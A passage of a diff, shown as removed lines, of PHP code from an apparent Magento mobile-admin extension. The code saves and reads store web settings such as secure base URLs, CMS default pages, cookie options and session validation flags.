|
| 761 |
-
//Base Link URL
|
| 762 |
-
// $baseLinkUrlSecureValue = $post_data['baseLinkUrlSecureVal'];
|
| 763 |
-
if(isset($post_data['baseLinkUrlSecureVal']))
|
| 764 |
-
{
|
| 765 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 766 |
-
if($storeId == 0)
|
| 767 |
-
{
|
| 768 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 769 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 770 |
-
Mage::getConfig()->saveConfig('web/secure/base_link_url', $post_data['baseLinkUrlSecureVal'], 'default', $storeId);
|
| 771 |
-
}
|
| 772 |
-
else
|
| 773 |
-
{
|
| 774 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 775 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 776 |
-
Mage::getConfig()->saveConfig('web/secure/base_link_url', $post_data['baseLinkUrlSecureVal'], 'stores', $storeId);
|
| 777 |
-
}
|
| 778 |
-
|
| 779 |
-
$storeCodeUrlAction['successMessage'] = "Secure Base Link Url Saved On ".$storeName." Store.";
|
| 780 |
-
Mage::getConfig()->reinit();
|
| 781 |
-
Mage::app()->reinitStores();
|
| 782 |
-
}
|
| 783 |
-
$storeCodeUrlAction['baseLinkUrlSecureSelectedValue'] = Mage::getStoreConfig('web/secure/base_link_url', $storeId);
|
| 784 |
-
|
| 785 |
-
|
| 786 |
-
|
| 787 |
-
|
| 788 |
-
//Base Skin URL
|
| 789 |
-
//$baseSkinUrlSecureValue = $post_data['baseSkinUrlSecureVal'];
|
| 790 |
-
if(isset($post_data['baseSkinUrlSecureVal']))
|
| 791 |
-
{
|
| 792 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 793 |
-
if($storeId == 0)
|
| 794 |
-
{
|
| 795 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 796 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 797 |
-
Mage::getConfig()->saveConfig('web/secure/base_skin_url', $post_data['baseSkinUrlSecureVal'], 'default', $storeId);
|
| 798 |
-
}
|
| 799 |
-
else
|
| 800 |
-
{
|
| 801 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 802 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 803 |
-
Mage::getConfig()->saveConfig('web/secure/base_skin_url', $post_data['baseSkinUrlSecureVal'], 'stores', $storeId);
|
| 804 |
-
}
|
| 805 |
-
|
| 806 |
-
$storeCodeUrlAction['successMessage'] = "Secure Base Skin Url Saved On ".$storeName." Store.";
|
| 807 |
-
Mage::getConfig()->reinit();
|
| 808 |
-
Mage::app()->reinitStores();
|
| 809 |
-
}
|
| 810 |
-
$storeCodeUrlAction['baseSkinUrlSecureSelectedValue'] = Mage::getStoreConfig('web/secure/base_skin_url', $storeId);
|
| 811 |
-
|
| 812 |
-
|
| 813 |
-
|
| 814 |
-
|
| 815 |
-
|
| 816 |
-
//Base Media URL
|
| 817 |
-
//$baseMediaUrlSecureValue = $post_data['baseMediaUrlSecureVal'];
|
| 818 |
-
if(isset($post_data['baseMediaUrlSecureVal']))
|
| 819 |
-
{
|
| 820 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 821 |
-
if($storeId == 0)
|
| 822 |
-
{
|
| 823 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 824 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 825 |
-
Mage::getConfig()->saveConfig('web/secure/base_media_url', $post_data['baseMediaUrlSecureVal'], 'default', $storeId);
|
| 826 |
-
}
|
| 827 |
-
else
|
| 828 |
-
{
|
| 829 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 830 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 831 |
-
Mage::getConfig()->saveConfig('web/secure/base_media_url', $post_data['baseMediaUrlSecureVal'], 'stores', $storeId);
|
| 832 |
-
}
|
| 833 |
-
|
| 834 |
-
$storeCodeUrlAction['successMessage'] = "Secure Base Media Url Saved On ".$storeName." Store.";
|
| 835 |
-
Mage::getConfig()->reinit();
|
| 836 |
-
Mage::app()->reinitStores();
|
| 837 |
-
}
|
| 838 |
-
$storeCodeUrlAction['baseMediaUrlSecureSelectedValue'] = Mage::getStoreConfig('web/secure/base_media_url', $storeId);
|
| 839 |
-
|
| 840 |
-
|
| 841 |
-
|
| 842 |
-
|
| 843 |
-
|
| 844 |
-
//Base JavaScript URL
|
| 845 |
-
//$baseJavaUrlSecureValue = $post_data['baseJavaUrlSecureVal'];
|
| 846 |
-
if(isset($post_data['baseJavaUrlSecureVal']))
|
| 847 |
-
{
|
| 848 |
-
//Mage::log('Welcome', null, "cart_android.log");
|
| 849 |
-
if($storeId == 0)
|
| 850 |
-
{
|
| 851 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 852 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 853 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_js_url', $post_data['baseJavaUrlSecureVal'], 'default', $storeId);
|
| 854 |
-
}
|
| 855 |
-
else
|
| 856 |
-
{
|
| 857 |
-
// Mage::log($webRewritesValue, null, "cart_android.log");
|
| 858 |
-
// Mage::log($storeId, null, "cart_android.log");
|
| 859 |
-
Mage::getConfig()->saveConfig('web/unsecure/base_js_url', $post_data['baseJavaUrlSecureVal'], 'stores', $storeId);
|
| 860 |
-
}
|
| 861 |
-
|
| 862 |
-
$storeCodeUrlAction['successMessage'] = "Secure Base JavaScript Url Saved On ".$storeName." Store.";
|
| 863 |
-
Mage::getConfig()->reinit();
|
| 864 |
-
Mage::app()->reinitStores();
|
| 865 |
-
}
|
| 866 |
-
$storeCodeUrlAction['baseJavaUrlSecureSelectedValue'] = Mage::getStoreConfig('web/secure/base_js_url', $storeId);
|
| 867 |
-
|
| 868 |
-
|
| 869 |
-
|
| 870 |
-
|
| 871 |
-
|
| 872 |
-
//Use Secure URLs in Frontend
|
| 873 |
-
//$secureUrlFrontendValue = $post_data['secureUrlFrontendVal'];
|
| 874 |
-
if(isset($post_data['secureUrlFrontendVal']))
|
| 875 |
-
{
|
| 876 |
-
if($storeId == 0)
|
| 877 |
-
{
|
| 878 |
-
Mage::getConfig()->saveConfig('web/secure/use_in_frontend', $post_data['secureUrlFrontendVal'], 'default', $storeId);
|
| 879 |
-
}
|
| 880 |
-
else
|
| 881 |
-
{
|
| 882 |
-
Mage::getConfig()->saveConfig('web/secure/use_in_frontend', $post_data['secureUrlFrontendVal'], 'stores', $storeId);
|
| 883 |
-
}
|
| 884 |
-
|
| 885 |
-
$storeCodeUrlAction['successMessage'] = "Secure URLs Saved in Frontend On ".$storeName." Store.";
|
| 886 |
-
Mage::getConfig()->reinit();
|
| 887 |
-
Mage::app()->reinitStores();
|
| 888 |
-
}
|
| 889 |
-
$storeCodeUrlAction['secureUrlFrontendSelectedValue'] = Mage::getStoreConfig('web/secure/use_in_frontend', $storeId);
|
| 890 |
-
|
| 891 |
-
|
| 892 |
-
|
| 893 |
-
|
| 894 |
-
//Use Secure URLs in Admin
|
| 895 |
-
//$secureUrlAdminValue = $post_data['secureUrlAdminVal'];
|
| 896 |
-
if(isset($post_data['secureUrlAdminVal']))
|
| 897 |
-
{
|
| 898 |
-
Mage::getConfig()->saveConfig('web/secure/use_in_adminhtml', $post_data['secureUrlAdminVal'], 'default', 0);
|
| 899 |
-
|
| 900 |
-
$storeCodeUrlAction['successMessage'] = "Secure URLs Saved in Admin On ".$storeName." Store.";
|
| 901 |
-
Mage::getConfig()->reinit();
|
| 902 |
-
Mage::app()->reinitStores();
|
| 903 |
-
}
|
| 904 |
-
$storeCodeUrlAction['secureUrlAdminSelectedValue'] = Mage::getStoreConfig('web/secure/use_in_adminhtml');
|
| 905 |
-
|
| 906 |
-
|
| 907 |
-
|
| 908 |
-
|
| 909 |
-
//Offloader header
|
| 910 |
-
//$offloaderHeaderValue = $post_data['offloaderHeaderVal'];
|
| 911 |
-
if(isset($post_data['offloaderHeaderVal']))
|
| 912 |
-
{
|
| 913 |
-
Mage::getConfig()->saveConfig('web/secure/offloader_header', $post_data['offloaderHeaderVal'], 'default', 0);
|
| 914 |
-
|
| 915 |
-
$storeCodeUrlAction['successMessage'] = "Offloader Header Value Saved On ".$storeName." Store.";
|
| 916 |
-
Mage::getConfig()->reinit();
|
| 917 |
-
Mage::app()->reinitStores();
|
| 918 |
-
}
|
| 919 |
-
$storeCodeUrlAction['offloaderHeaderSelectedValue'] = Mage::getStoreConfig('web/secure/offloader_header');
|
| 920 |
-
|
| 921 |
-
|
| 922 |
-
|
| 923 |
-
|
| 924 |
-
//Default Pages
|
| 925 |
-
|
| 926 |
-
//Default Web URL
|
| 927 |
-
//$defaultWebUrlValue = $post_data['defaultWebUrlVal'];
|
| 928 |
-
if(isset($post_data['defaultWebUrlVal']))
|
| 929 |
-
{
|
| 930 |
-
if($storeId == 0)
|
| 931 |
-
{
|
| 932 |
-
Mage::getConfig()->saveConfig('web/default/front', $post_data['defaultWebUrlVal'], 'default', $storeId);
|
| 933 |
-
}
|
| 934 |
-
else
|
| 935 |
-
{
|
| 936 |
-
Mage::getConfig()->saveConfig('web/default/front', $post_data['defaultWebUrlVal'], 'stores', $storeId);
|
| 937 |
-
}
|
| 938 |
-
|
| 939 |
-
$storeCodeUrlAction['successMessage'] = "Default Web URL Saved On ".$storeName." Store.";
|
| 940 |
-
Mage::getConfig()->reinit();
|
| 941 |
-
Mage::app()->reinitStores();
|
| 942 |
-
}
|
| 943 |
-
$storeCodeUrlAction['defaultWebUrlSelectedValue'] = Mage::getStoreConfig('web/default/front', $storeId);
|
| 944 |
-
|
| 945 |
-
|
| 946 |
-
|
| 947 |
-
|
| 948 |
-
//CMS Home Page
|
| 949 |
-
$AllCmsPages = Mage::getModel('cms/page')->getCollection()->toOptionArray();
|
| 950 |
-
|
| 951 |
-
//$cmsHomeValue = $post_data['cmsHomeVal'];
|
| 952 |
-
if(isset($post_data['cmsHomeVal']))
|
| 953 |
-
{
|
| 954 |
-
if($storeId == 0)
|
| 955 |
-
{
|
| 956 |
-
Mage::getConfig()->saveConfig('web/default/cms_home_page', $post_data['cmsHomeVal'], 'default', $storeId);
|
| 957 |
-
}
|
| 958 |
-
else
|
| 959 |
-
{
|
| 960 |
-
Mage::getConfig()->saveConfig('web/default/cms_home_page', $post_data['cmsHomeVal'], 'stores', $storeId);
|
| 961 |
-
}
|
| 962 |
-
|
| 963 |
-
$storeCodeUrlAction['successMessage'] = "Default Home Page Saved On ".$storeName." Store.";
|
| 964 |
-
Mage::getConfig()->reinit();
|
| 965 |
-
Mage::app()->reinitStores();
|
| 966 |
-
}
|
| 967 |
-
|
| 968 |
-
$selected = Mage::getStoreConfig('web/default/cms_home_page', $storeId);
|
| 969 |
-
|
| 970 |
-
foreach ($AllCmsPages as $value)
|
| 971 |
-
{
|
| 972 |
-
if($value['value'] == $selected)
|
| 973 |
-
{
|
| 974 |
-
$cms_home['value'] = $value['value'];
|
| 975 |
-
$cms_home['label'] = $value['label'];
|
| 976 |
-
$cms_home['select'] = 1;
|
| 977 |
-
$storeCodeUrlAction['cmsPagesAllValue'][] = $cms_home;
|
| 978 |
-
}
|
| 979 |
-
else
|
| 980 |
-
{
|
| 981 |
-
$cms_home['value'] = $value['value'];
|
| 982 |
-
$cms_home['label'] = $value['label'];
|
| 983 |
-
$cms_home['select'] = 0;
|
| 984 |
-
$storeCodeUrlAction['cmsPagesAllValue'][] = $cms_home;
|
| 985 |
-
}
|
| 986 |
-
}
|
| 987 |
-
|
| 988 |
-
|
| 989 |
-
|
| 990 |
-
|
| 991 |
-
//Default No-route URL
|
| 992 |
-
//$noRouteValue = $post_data['noRouteVal'];
|
| 993 |
-
if(isset($post_data['noRouteVal']))
|
| 994 |
-
{
|
| 995 |
-
if($storeId == 0)
|
| 996 |
-
{
|
| 997 |
-
Mage::getConfig()->saveConfig('web/default/no_route', $post_data['noRouteVal'], 'default', $storeId);
|
| 998 |
-
}
|
| 999 |
-
else
|
| 1000 |
-
{
|
| 1001 |
-
Mage::getConfig()->saveConfig('web/default/no_route', $post_data['noRouteVal'], 'stores', $storeId);
|
| 1002 |
-
}
|
| 1003 |
-
|
| 1004 |
-
$storeCodeUrlAction['successMessage'] = "Default No Route URL Saved On ".$storeName." Store.";
|
| 1005 |
-
Mage::getConfig()->reinit();
|
| 1006 |
-
Mage::app()->reinitStores();
|
| 1007 |
-
}
|
| 1008 |
-
$storeCodeUrlAction['noRouteSelectedValue'] = Mage::getStoreConfig('web/default/no_route', 1);
|
| 1009 |
-
//Mage::log($storeId, null, "cart_android.log");
|
| 1010 |
-
|
| 1011 |
-
|
| 1012 |
-
|
| 1013 |
-
|
| 1014 |
-
//CMS No Route Page
|
| 1015 |
-
//$CmsNoRouteValue = $post_data['CmsNoRouteVal'];
|
| 1016 |
-
if(isset($post_data['CmsNoRouteVal']))
|
| 1017 |
-
{
|
| 1018 |
-
if($storeId == 0)
|
| 1019 |
-
{
|
| 1020 |
-
Mage::getConfig()->saveConfig('web/default/cms_no_route', $post_data['CmsNoRouteVal'], 'default', $storeId);
|
| 1021 |
-
}
|
| 1022 |
-
else
|
| 1023 |
-
{
|
| 1024 |
-
Mage::getConfig()->saveConfig('web/default/cms_no_route', $post_data['CmsNoRouteVal'], 'stores', $storeId);
|
| 1025 |
-
}
|
| 1026 |
-
|
| 1027 |
-
$storeCodeUrlAction['successMessage'] = "Cmd No-Route Page Saved On ".$storeName." Store.";
|
| 1028 |
-
Mage::getConfig()->reinit();
|
| 1029 |
-
Mage::app()->reinitStores();
|
| 1030 |
-
}
|
| 1031 |
-
$noRoutePageselected = Mage::getStoreConfig('web/default/cms_no_route', $storeId);
|
| 1032 |
-
|
| 1033 |
-
foreach ($AllCmsPages as $value)
|
| 1034 |
-
{
|
| 1035 |
-
if($value['value'] == $noRoutePageselected)
|
| 1036 |
-
{
|
| 1037 |
-
$noRoute['value'] = $value['value'];
|
| 1038 |
-
$noRoute['label'] = $value['label'];
|
| 1039 |
-
$noRoute['select'] = 1;
|
| 1040 |
-
$storeCodeUrlAction['noRouteAllValue'][] = $noRoute;
|
| 1041 |
-
}
|
| 1042 |
-
else
|
| 1043 |
-
{
|
| 1044 |
-
$noRoute['value'] = $value['value'];
|
| 1045 |
-
$noRoute['label'] = $value['label'];
|
| 1046 |
-
$noRoute['select'] = 0;
|
| 1047 |
-
$storeCodeUrlAction['noRouteAllValue'][] = $noRoute;
|
| 1048 |
-
}
|
| 1049 |
-
}
|
| 1050 |
-
|
| 1051 |
-
|
| 1052 |
-
|
| 1053 |
-
|
| 1054 |
-
|
| 1055 |
-
|
| 1056 |
-
//CMS No Cookies Page
|
| 1057 |
-
//$noCookiesValue = $post_data['noCookiesVal'];
|
| 1058 |
-
if(isset($post_data['noCookiesVal']))
|
| 1059 |
-
{
|
| 1060 |
-
if($storeId == 0)
|
| 1061 |
-
{
|
| 1062 |
-
Mage::getConfig()->saveConfig('web/default/cms_no_cookies', $post_data['noCookiesVal'], 'default', $storeId);
|
| 1063 |
-
}
|
| 1064 |
-
else
|
| 1065 |
-
{
|
| 1066 |
-
Mage::getConfig()->saveConfig('web/default/cms_no_cookies', $post_data['noCookiesVal'], 'stores', $storeId);
|
| 1067 |
-
}
|
| 1068 |
-
|
| 1069 |
-
$storeCodeUrlAction['successMessage'] = "Cmd No-Cookies Value Page Saved On ".$storeName." Store.";
|
| 1070 |
-
Mage::getConfig()->reinit();
|
| 1071 |
-
Mage::app()->reinitStores();
|
| 1072 |
-
}
|
| 1073 |
-
$noCookiesPageselected = Mage::getStoreConfig('web/default/cms_no_cookies', $storeId);
|
| 1074 |
-
|
| 1075 |
-
foreach ($AllCmsPages as $value)
|
| 1076 |
-
{
|
| 1077 |
-
if($value['value'] == $noCookiesPageselected)
|
| 1078 |
-
{
|
| 1079 |
-
$noRoute['value'] = $value['value'];
|
| 1080 |
-
$noRoute['label'] = $value['label'];
|
| 1081 |
-
$noRoute['select'] = 1;
|
| 1082 |
-
$storeCodeUrlAction['noCookiesAllValue'][] = $noRoute;
|
| 1083 |
-
}
|
| 1084 |
-
else
|
| 1085 |
-
{
|
| 1086 |
-
$noRoute['value'] = $value['value'];
|
| 1087 |
-
$noRoute['label'] = $value['label'];
|
| 1088 |
-
$noRoute['select'] = 0;
|
| 1089 |
-
$storeCodeUrlAction['noCookiesAllValue'][] = $noRoute;
|
| 1090 |
-
}
|
| 1091 |
-
}
|
| 1092 |
-
|
| 1093 |
-
|
| 1094 |
-
|
| 1095 |
-
|
| 1096 |
-
|
| 1097 |
-
//Show Breadcrumbs for CMS Pages
|
| 1098 |
-
//$breadcrumbsValue = $post_data['breadCrumbsVal'];
|
| 1099 |
-
if(isset($post_data['breadCrumbsVal']))
|
| 1100 |
-
{
|
| 1101 |
-
if($storeId == 0)
|
| 1102 |
-
{
|
| 1103 |
-
Mage::getConfig()->saveConfig('web/default/show_cms_breadcrumbs', $post_data['breadCrumbsVal'], 'default', $storeId);
|
| 1104 |
-
}
|
| 1105 |
-
else
|
| 1106 |
-
{
|
| 1107 |
-
Mage::getConfig()->saveConfig('web/default/show_cms_breadcrumbs', $post_data['breadCrumbsVal'], 'stores', $storeId);
|
| 1108 |
-
}
|
| 1109 |
-
|
| 1110 |
-
$storeCodeUrlAction['successMessage'] = "Saved Breadcrumbs for CMS Pages On ".$storeName." Store.";
|
| 1111 |
-
Mage::getConfig()->reinit();
|
| 1112 |
-
Mage::app()->reinitStores();
|
| 1113 |
-
}
|
| 1114 |
-
$storeCodeUrlAction['breadCrumbsValue'] = Mage::getStoreConfig('web/default/show_cms_breadcrumbs', $storeId);
|
| 1115 |
-
|
| 1116 |
-
|
| 1117 |
-
|
| 1118 |
-
|
| 1119 |
-
//Polls
|
| 1120 |
-
|
| 1121 |
-
//Disallow Voting in a Poll Multiple Times from Same IP-address
|
| 1122 |
-
//$pollValue = $post_data['pollVal'];
|
| 1123 |
-
if(isset($post_data['pollVal']))
|
| 1124 |
-
{
|
| 1125 |
-
if($storeId == 0)
|
| 1126 |
-
{
|
| 1127 |
-
Mage::getConfig()->saveConfig('web/polls/poll_check_by_ip', $post_data['pollVal'], 'default', $storeId);
|
| 1128 |
-
}
|
| 1129 |
-
else
|
| 1130 |
-
{
|
| 1131 |
-
Mage::getConfig()->saveConfig('web/polls/poll_check_by_ip', $post_data['pollVal'], 'stores', $storeId);
|
| 1132 |
-
}
|
| 1133 |
-
|
| 1134 |
-
$storeCodeUrlAction['successMessage'] = "Saved Voting Poll On ".$storeName." Store.";
|
| 1135 |
-
Mage::getConfig()->reinit();
|
| 1136 |
-
Mage::app()->reinitStores();
|
| 1137 |
-
}
|
| 1138 |
-
$storeCodeUrlAction['pollsValue'] = Mage::getStoreConfig('web/polls/poll_check_by_ip', $storeId);
|
| 1139 |
-
|
| 1140 |
-
|
| 1141 |
-
|
| 1142 |
-
|
| 1143 |
-
//Session Cookie Management
|
| 1144 |
-
|
| 1145 |
-
//Cookie Lifetime
|
| 1146 |
-
//$cookieLifetimeValue = $post_data['cookieLifetimeVal'];
|
| 1147 |
-
if(isset($post_data['cookieLifetimeVal']))
|
| 1148 |
-
{
|
| 1149 |
-
if($storeId == 0)
|
| 1150 |
-
{
|
| 1151 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_lifetime', $post_data['cookieLifetimeVal'], 'default', $storeId);
|
| 1152 |
-
}
|
| 1153 |
-
else
|
| 1154 |
-
{
|
| 1155 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_lifetime', $post_data['cookieLifetimeVal'], 'stores', $storeId);
|
| 1156 |
-
}
|
| 1157 |
-
|
| 1158 |
-
$storeCodeUrlAction['successMessage'] = "Cookie Lifetime Value Saved On ".$storeName." Store.";
|
| 1159 |
-
Mage::getConfig()->reinit();
|
| 1160 |
-
Mage::app()->reinitStores();
|
| 1161 |
-
}
|
| 1162 |
-
$storeCodeUrlAction['cookieLifetimeValue'] = Mage::getStoreConfig('web/cookie/cookie_lifetime', $storeId);
|
| 1163 |
-
|
| 1164 |
-
|
| 1165 |
-
|
| 1166 |
-
//Cookie Path
|
| 1167 |
-
// $cookiePaathValue = $post_data['cookiePaathVal'];
|
| 1168 |
-
if(isset($post_data['cookiePaathVal']))
|
| 1169 |
-
{
|
| 1170 |
-
if($storeId == 0)
|
| 1171 |
-
{
|
| 1172 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_path', $post_data['cookiePaathVal'], 'default', $storeId);
|
| 1173 |
-
}
|
| 1174 |
-
else
|
| 1175 |
-
{
|
| 1176 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_path', $post_data['cookiePaathVal'], 'stores', $storeId);
|
| 1177 |
-
}
|
| 1178 |
-
|
| 1179 |
-
$storeCodeUrlAction['successMessage'] = "Cookie Path Saved On ".$storeName." Store.";
|
| 1180 |
-
Mage::getConfig()->reinit();
|
| 1181 |
-
Mage::app()->reinitStores();
|
| 1182 |
-
}
|
| 1183 |
-
$storeCodeUrlAction['cookiePaathValue'] = Mage::getStoreConfig('web/cookie/cookie_path', $storeId);
|
| 1184 |
-
|
| 1185 |
-
|
| 1186 |
-
|
| 1187 |
-
|
| 1188 |
-
//Cookie Domain
|
| 1189 |
-
//$cookieDomainValue = $post_data['cookieDomainVal'];
|
| 1190 |
-
if(isset($post_data['cookieDomainVal']))
|
| 1191 |
-
{
|
| 1192 |
-
if($storeId == 0)
|
| 1193 |
-
{
|
| 1194 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_domain', $post_data['cookieDomainVal'], 'default', $storeId);
|
| 1195 |
-
}
|
| 1196 |
-
else
|
| 1197 |
-
{
|
| 1198 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_domain', $post_data['cookieDomainVal'], 'stores', $storeId);
|
| 1199 |
-
}
|
| 1200 |
-
|
| 1201 |
-
$storeCodeUrlAction['successMessage'] = "Cookie Domain Value Saved On ".$storeName." Store.";
|
| 1202 |
-
Mage::getConfig()->reinit();
|
| 1203 |
-
Mage::app()->reinitStores();
|
| 1204 |
-
}
|
| 1205 |
-
$storeCodeUrlAction['cookieDomainValue'] = Mage::getStoreConfig('web/cookie/cookie_domain', $storeId);
|
| 1206 |
-
|
| 1207 |
-
|
| 1208 |
-
|
| 1209 |
-
|
| 1210 |
-
//Use HTTP Only
|
| 1211 |
-
//$httpOnlyValue = $post_data['httpOnlyVal'];
|
| 1212 |
-
if(isset($post_data['httpOnlyVal']))
|
| 1213 |
-
{
|
| 1214 |
-
if($storeId == 0)
|
| 1215 |
-
{
|
| 1216 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_httponly', $post_data['httpOnlyVal'], 'default', $storeId);
|
| 1217 |
-
}
|
| 1218 |
-
else
|
| 1219 |
-
{
|
| 1220 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_httponly', $post_data['httpOnlyVal'], 'stores', $storeId);
|
| 1221 |
-
}
|
| 1222 |
-
|
| 1223 |
-
$storeCodeUrlAction['successMessage'] = "Use HTTP Only Value Saved On ".$storeName." Store.";
|
| 1224 |
-
Mage::getConfig()->reinit();
|
| 1225 |
-
Mage::app()->reinitStores();
|
| 1226 |
-
}
|
| 1227 |
-
$storeCodeUrlAction['httpOnlyValue'] = Mage::getStoreConfig('web/cookie/cookie_httponly', $storeId);
|
| 1228 |
-
|
| 1229 |
-
|
| 1230 |
-
|
| 1231 |
-
|
| 1232 |
-
//Cookie Restriction Mode
|
| 1233 |
-
//$cookieRestrictionModeValue = $post_data['cookieRestrictionModeVal'];
|
| 1234 |
-
if(isset($post_data['cookieRestrictionModeVal']))
|
| 1235 |
-
{
|
| 1236 |
-
Mage::getConfig()->saveConfig('web/cookie/cookie_restriction', $post_data['cookieRestrictionModeVal'], 'default', 0);
|
| 1237 |
-
|
| 1238 |
-
$storeCodeUrlAction['successMessage'] = "Cookie Restriction Mode Value Saved On ".$storeName." Store.";
|
| 1239 |
-
Mage::getConfig()->reinit();
|
| 1240 |
-
Mage::app()->reinitStores();
|
| 1241 |
-
}
|
| 1242 |
-
$storeCodeUrlAction['cookieRestrictionModeValue'] = Mage::getStoreConfig('web/cookie/cookie_restriction');
|
| 1243 |
-
|
| 1244 |
-
|
| 1245 |
-
|
| 1246 |
-
|
| 1247 |
-
|
| 1248 |
-
//Session Validation Settings
|
| 1249 |
-
|
| 1250 |
-
//Validate REMOTE_ADDR
|
| 1251 |
-
//$validateRemoteValue = $post_data['validateRemoteVal'];
|
| 1252 |
-
if(isset($post_data['validateRemoteVal']))
|
| 1253 |
-
{
|
| 1254 |
-
Mage::getConfig()->saveConfig('web/session/use_remote_addr', $post_data['validateRemoteVal'], 'default', 0);
|
| 1255 |
-
|
| 1256 |
-
$storeCodeUrlAction['successMessage'] = "Validate REMOTE_ADDR Value Saved On ".$storeName." Store.";
|
| 1257 |
-
Mage::getConfig()->reinit();
|
| 1258 |
-
Mage::app()->reinitStores();
|
| 1259 |
-
}
|
| 1260 |
-
$storeCodeUrlAction['validateRemoteValue'] = Mage::getStoreConfig('web/session/use_remote_addr');
|
| 1261 |
-
|
| 1262 |
-
|
| 1263 |
-
|
| 1264 |
-
|
| 1265 |
-
//Validate HTTP_VIA
|
| 1266 |
-
//$validateHttpValue = $post_data['validateHttpVal'];
|
| 1267 |
-
if(isset($post_data['validateHttpVal']))
|
| 1268 |
-
{
|
| 1269 |
-
Mage::getConfig()->saveConfig('web/session/use_http_via', $post_data['validateHttpVal'], 'default', 0);
|
| 1270 |
-
|
| 1271 |
-
$storeCodeUrlAction['successMessage'] = "Validate HTTP_VIA Value Saved On ".$storeName." Store.";
|
| 1272 |
-
Mage::getConfig()->reinit();
|
| 1273 |
-
Mage::app()->reinitStores();
|
| 1274 |
-
}
|
| 1275 |
-
$storeCodeUrlAction['validateHttpValue'] = Mage::getStoreConfig('web/session/use_http_via');
|
| 1276 |
-
|
| 1277 |
-
|
| 1278 |
-
|
| 1279 |
-
|
| 1280 |
-
//Validate HTTP_X_FORWARDED_FOR
|
| 1281 |
-
//$validateHttpXXValue = $post_data['validateHttpXXVal'];
|
| 1282 |
-
if(isset($post_data['validateHttpXXVal']))
|
| 1283 |
-
{
|
| 1284 |
-
Mage::getConfig()->saveConfig('web/session/use_http_x_forwarded_for', $post_data['validateHttpXXVal'], 'default', 0);
|
| 1285 |
-
|
| 1286 |
-
$storeCodeUrlAction['successMessage'] = "Validate HTTP_X_FORWARDED_FOR Value Saved On ".$storeName." Store.";
|
| 1287 |
-
Mage::getConfig()->reinit();
|
| 1288 |
-
Mage::app()->reinitStores();
|
| 1289 |
-
}
|
| 1290 |
-
$storeCodeUrlAction['validateHttpXXValue'] = Mage::getStoreConfig('web/session/use_http_x_forwarded_for');
|
| 1291 |
-
|
| 1292 |
-
|
| 1293 |
-
|
| 1294 |
-
|
| 1295 |
-
//Validate HTTP_USER_AGENT
|
| 1296 |
-
//$validateHttpUserValue = $post_data['validateHttpUserVal'];
|
| 1297 |
-
if(isset($post_data['validateHttpUserVal']))
|
| 1298 |
-
{
|
| 1299 |
-
Mage::getConfig()->saveConfig('web/session/use_http_user_agent', $post_data['validateHttpUserVal'], 'default', 0);
|
| 1300 |
-
|
| 1301 |
-
$storeCodeUrlAction['successMessage'] = "Validate HTTP_USER_AGENT Value Saved On ".$storeName." Store.";
|
| 1302 |
-
Mage::getConfig()->reinit();
|
| 1303 |
-
Mage::app()->reinitStores();
|
| 1304 |
-
}
|
| 1305 |
-
$storeCodeUrlAction['validateHttpUserValue'] = Mage::getStoreConfig('web/session/use_http_user_agent');
|
| 1306 |
-
|
| 1307 |
-
|
| 1308 |
-
|
| 1309 |
-
|
| 1310 |
-
//Use SID on Frontend
|
| 1311 |
-
//$useSIDValue = $post_data['useSIDVal'];
|
| 1312 |
-
if(isset($post_data['useSIDVal']))
|
| 1313 |
-
{
|
| 1314 |
-
Mage::getConfig()->saveConfig('web/session/use_frontend_sid', $post_data['useSIDVal'], 'default', 0);
|
| 1315 |
-
|
| 1316 |
-
$storeCodeUrlAction['successMessage'] = "Use SID on Frontend Value Saved On ".$storeName." Store.";
|
| 1317 |
-
Mage::getConfig()->reinit();
|
| 1318 |
-
Mage::app()->reinitStores();
|
| 1319 |
-
}
|
| 1320 |
-
|
| 1321 |
-
$storeCodeUrlAction['useSIDValue'] = Mage::getStoreConfig('web/session/use_frontend_sid');
|
| 1322 |
-
|
| 1323 |
-
|
| 1324 |
-
|
| 1325 |
-
|
| 1326 |
-
//Browser Capabilities Detection
|
| 1327 |
-
|
| 1328 |
-
//Redirect to CMS-page if Cookies are Disabled
|
| 1329 |
-
//$redirectToCmsValue = $post_data['redirectToCmsVal'];
|
| 1330 |
-
if(isset($post_data['redirectToCmsVal']))
|
| 1331 |
-
{
|
| 1332 |
-
if($storeId == 0)
|
| 1333 |
-
{
|
| 1334 |
-
Mage::getConfig()->saveConfig('web/browser_capabilities/cookies', $post_data['redirectToCmsVal'], 'default', $storeId);
|
| 1335 |
-
}
|
| 1336 |
-
else
|
| 1337 |
-
{
|
| 1338 |
-
Mage::getConfig()->saveConfig('web/browser_capabilities/cookies', $post_data['redirectToCmsVal'], 'stores', $storeId);
|
| 1339 |
-
}
|
| 1340 |
-
|
| 1341 |
-
$storeCodeUrlAction['successMessage'] = "Redirect to CMS-page if Cookies are Disabled Saved On ".$storeName." Store.";
|
| 1342 |
-
Mage::getConfig()->reinit();
|
| 1343 |
-
Mage::app()->reinitStores();
|
| 1344 |
-
}
|
| 1345 |
-
$storeCodeUrlAction['redirectToCmsValue'] = Mage::getStoreConfig('web/browser_capabilities/cookies', $storeId);
|
| 1346 |
-
|
| 1347 |
-
|
| 1348 |
-
|
| 1349 |
-
|
